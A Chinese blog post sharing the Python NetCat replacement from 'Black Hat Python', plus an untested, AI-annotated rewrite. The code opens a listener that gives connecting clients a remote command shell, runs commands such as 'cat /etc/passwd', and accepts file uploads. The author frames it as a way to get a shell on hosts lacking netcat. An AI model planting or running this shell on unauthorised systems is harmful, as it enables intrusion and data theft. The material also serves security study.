用python实现netcat功能

《python黑帽子》里面的,整体学完也是受益匪浅

首先是书中原本的代码

import argparse
import socket
import shlex      #Split command
import subprocess
import sys
import textwrap
import threading

class NetCat:
    #use args and buffer to initialize the NetCat
    def __init__(self,args,buffer = None):
        self.args = args
        self.buffer = buffer
        self.socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#create a socket
        self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        #when a socket come to a close state , it may get into a TIME_WAIT state,SO_REUSEADDR
        # can restart the socket immediately

    def handle(self, client_sock):
        if self.args.execute:
            output = execute(self.args.execute)
            client_sock.send(output.encode())
        elif self.args.upload:
            file_buffer = b''  # create a file buffer
            while True:
                data = client_sock.recv(4096)
                if data:
                    file_buffer += data
                else:
                    break

            with open(self.args.upload, 'wb') as f:
                f.write(file_buffer)
            message = f'Save file{self.args.upload}'
            client_sock.send(message.encode())
        elif self.args.command:
            cmd_buffer = b''
            while True:
                try:
                    client_sock.send(b'BHP: #>>')
                    while '\n' not in cmd_buffer.decode():
                        cmd_buffer += client_sock.recv(64)
                    response = execute(cmd_buffer.decode())
                    if response:
                        client_sock.send(response.encode())
                    cmd_buffer = b''
                except Exception as e:
                    print(1)
                    print(f'Server killed {e}')
                    self.socket.close()
                    sys.exit()



    def listen(self):
        self.socket.bind((self.args.target, self.args.port))  # bind port and ip to the socket
        self.socket.listen(5)  # listen 5
        while True:
            cilent_socket, adds = self.socket.accept()
            print(f'[*]Connect from {adds}')
            client_thread = threading.Thread(target=self.handle,
                                             args=(cilent_socket,))  # create a thread to excute the command
            client_thread.start()

    def send(self):
        self.socket.connect((self.args.target, self.args.port))
        if self.buffer:
            self.socket.send(self.buffer)  # if there has data in the buffer , send it out first
        try:
            while True:
                # When the hot key is not triggered, a large loop continues
                recv_len = 1
                respose = ''
                # When the messages in the current socket have not been received completely, a small loop continues
                while recv_len:
                    data = self.socket.recv(4096)
                    recv_len = len(data)
                    respose += data.decode()
                    if recv_len < 4096:
                        break
                if respose:
                    print(respose)
                    buffer = input(">>>")
                    buffer += '\n'
                    self.socket.send(buffer.encode())
        except KeyboardInterrupt:
            print("User Quit")
            self.socket.close()
            sys.exit()

    def run(self):  # to excute te program,as the window between sender and receicer
        if self.args.listen:
            self.listen()
        else:
            self.send()





def execute(cmd):
    cmd = cmd.strip() #remove whitespace at the b and e of the string
    if not cmd:#if is a an empty string
        return
    output = subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT)# to run instructions on this  machine and assign the returned content to the output
    return output.decode()
if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description="A Net Tool from a freshman",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog= textwrap.dedent('''Example:
        netcat.py -t 192.168.1.108 -p 5555 -l -c #command shell
        netcat.py -t 192.168.1.108 -p 5555 -l -u=test.txt  #upload file
        netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat/etc/passwd\" #execute command
        echo 'ABC'  | ./netcat.py -t 192.168.1.108 -p 135 #echo text tp server port 135
        netcat.py -t 192.168.1.108 -p 5555 #connect to server
        '''))
    parser.add_argument('-c','--command',action='store_true',help='command shell')
    parser.add_argument('-e','--execute',help='execute specified command')
    parser.add_argument('-l','--listen',action='store_true',help='listen')
    parser.add_argument('-p','--port',type= int,default= 5555,help='specifide port')
    parser.add_argument('-t','--target',default= '192.168.1.108',help='specified IP')
    parser.add_argument('-u','--upload',help='upload file')
    args = parser.parse_args()#Analysis the command and save the results in args
    if args.listen:
        buffer = ''
    else:
        buffer = sys.stdin.read()
    nc = NetCat(args,buffer.encode())#to define a class NetCat
    nc.run()

这个完成后就可以在本地测试,但是我实测他的功能只有在服务端开通监听后,主机段才能连接上,也就只能用来打服务器里没有netcat的主机(虽然说确实是这个用法)当服务器里没有netcat又想连接拿shell就只能这么打

然后ai我又对其进行了优化和注释

import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading

def show_start_screen():
    print(r"""
  _____           _ _   _ _       
 /  __ \ (_)     | | | | | |      
 | /  \/ _  __ _ | | | | | | ___  
 | |     | |/ _` | | | | | |/ _ \ 
 | \__/\ | | (_| | | | | | | (_) |
  \____/_|_|\__,_|_|_|_|_|_|\___/ 
            (∠・ω< )⌒★
    """)
# 执行 cmd 命令的函数
def execute(cmd):
    cmd = cmd.strip()  # 移除命令两端的空白字符
    if not cmd:  # 如果命令为空,返回空字符串
        return ""
    try:
        # 使用 subprocess 执行命令,并获取输出(标准输出和错误输出都捕获)
        output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT)
        return output.decode()  # 将字节流转换为字符串
    except Exception as e:
        return f"Failed to execute command: {e}"  # 命令执行失败,返回错误信息

class NetCat:
    def __init__(self, args, buffer=None):
        # 初始化方法,设置命令行参数和缓冲区
        self.args = args  # 命令行解析后的参数
        self.buffer = buffer  # 存储需要发送的初始数据
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 创建 TCP 套接字
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 设置套接字选项,允许快速重用端口
        self.debug = True

    def run(self):
        # 判断是进行监听模式还是连接模式
        if self.args.listen:
            print(f"Listening on {self.args.target}:{self.args.port}...")  # 打印监听信息
            self.listen()  # 进入监听模式
        else:
            self.send()  # 进入发送模式

    def send(self):
        if self.debug:
            print(f"[DEBUG] Connecting to {self.args.target}:{self.args.port}...")
        try:
            self.socket.connect((self.args.target, self.args.port))
            # 如果指定了 -e 参数,直接发送命令
            if self.args.execute:
                cmd = self.args.execute + "\n"  # 确保命令以换行符结尾
                self.socket.send(cmd.encode())
            # 如果通过 stdin 输入了数据,发送数据
            elif self.buffer:
                self.socket.send(self.buffer)

            # 接收服务端响应
            response = ""
            while True:
                data = self.socket.recv(4096)
                if not data:
                    break
                response += data.decode()
            print(response.strip())  # 打印完整响应

        except ConnectionRefusedError:
            print("Error: Connection refused. Check target IP/port.")
        except BrokenPipeError:
            print("Error: Server closed the connection.")
        except Exception as e:
            print(f"Unexpected error: {e}")
        finally:
            self.socket.close()  # 确保连接关闭

    def listen(self):
        # 绑定 IP 地址和端口
        self.socket.bind(('0.0.0.0', self.args.port))
        self.socket.listen(5)  # 设置监听队列长度为 5
        while True:
            client_socket, _ = self.socket.accept()  # 接受客户端连接
            print("Accepted connection.")  # 打印连接信息
            client_thread = threading.Thread(target=self.handle, args=(client_socket,))  # 为每个客户端连接创建新线程
            client_thread.start()  # 启动线程

    def handle(self, client_socket):
        try:
            if self.args.execute:
                output = execute(self.args.execute)
                client_socket.send(output.encode())
            # 如果指定了 --upload 参数,接收文件并保存
            elif self.args.upload:
                file_buffer = b''  # 初始化文件缓冲区
                while True:
                    data = client_socket.recv(4096)  # 接收文件数据
                    if not data:  # 如果没有数据,结束接收
                        break
                    file_buffer += data  # 将接收到的数据添加到文件缓冲区
                with open(self.args.upload, 'wb') as f:  # 打开指定路径的文件进行写入
                    f.write(file_buffer)  # 保存文件
                message = f'Saved file {self.args.upload}'  # 构造文件保存成功的消息
                client_socket.send(message.encode())  # 发送消息给客户端
            # 如果指定了 --command 参数,进入交互式命令行模式
            elif self.args.command:
                cmd_buffer = b''  # 初始化命令缓冲区
                while True:
                    try:
                        client_socket.send(b'BHP: #> ')  # 提示符,提示客户端输入命令
                        while b'\n' not in cmd_buffer:  # 检查是否收到完整的命令(以换行符结束)
                            data = client_socket.recv(64)  # 每次接收 64 字节的数据
                            if not data:  # 如果没有数据,说明客户端已断开
                                raise Exception("Client disconnected")
                            cmd_buffer += data  # 将数据添加到命令缓冲区
                        command = cmd_buffer.decode().strip()  # 解析并去除命令两端的空白
                        cmd_buffer = b''  # 清空命令缓冲区
                        if command.lower() == 'exit':  # 如果命令是 'exit',退出命令模式
                            client_socket.send(b'Exiting...\n')
                            break
                        response = execute(command)  # 执行命令
                        client_socket.send(response.encode())  # 发送命令执行结果
                    except Exception as e:
                        print(f"Error: {e}")  # 捕获并打印异常
                        break
        except Exception as e:
            print(f"Error handling client: {e}")  # 捕获并打印处理客户端时的异常
        finally:
            client_socket.close()  # 关闭与客户端的连接

# 程序入口,处理命令行参数并启动 NetCat 实例
if __name__ == '__main__':
    show_start_screen()
    # 使用 argparse 处理命令行参数
    parser = argparse.ArgumentParser(
        description='BHP Net Tool',  # 程序描述
        formatter_class=argparse.RawDescriptionHelpFormatter,  # 格式化帮助文档
        epilog=textwrap.dedent('''Example:
            netcat.py -t 192.168.1.108 -p 5555 -l -c  # command shell
            netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt  # upload to file
            netcat.py -t 192.168.1.108 -p 5555 -l -e="cat /etc/passwd"  # execute command
            echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135  # echo text to server port 135
            netcat.py -t 192.168.1.108 -p 5555  # connect to server'''))  # 示例命令行
    parser.add_argument('-c', '--command', action='store_true', help='command shell')  # 启动命令行模式
    parser.add_argument('-e', '--execute', help='execute specified command')  # 执行指定命令
    parser.add_argument('-l', '--listen', action='store_true', help='listen')  # 启动监听模式
    parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')  # 设置端口
    parser.add_argument('-t', '--target', default='0.0.0.0', help='specified IP (use 0.0.0.0 for listening)') # 设置目标 IP
    parser.add_argument('-u', '--upload', help='upload file')  # 上传文件
    args = parser.parse_args()  # 解析命令行参数

    buffer = '' if args.listen else sys.stdin.read()  # 如果是监听模式,缓冲区为空,否则读取标准输入
    nc = NetCat(args, buffer.encode())  # 创建 NetCat 实例
    nc.run()  # 执行程序

当然了虽说是优化,但是我没有测过,只是理论可行,所以用上面那个就好

大致就是这样,而且还加入了Ciallo~ (∠・ω< )⌒★的启动动画,柚子厨蒸鹅心

python还是太万能了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值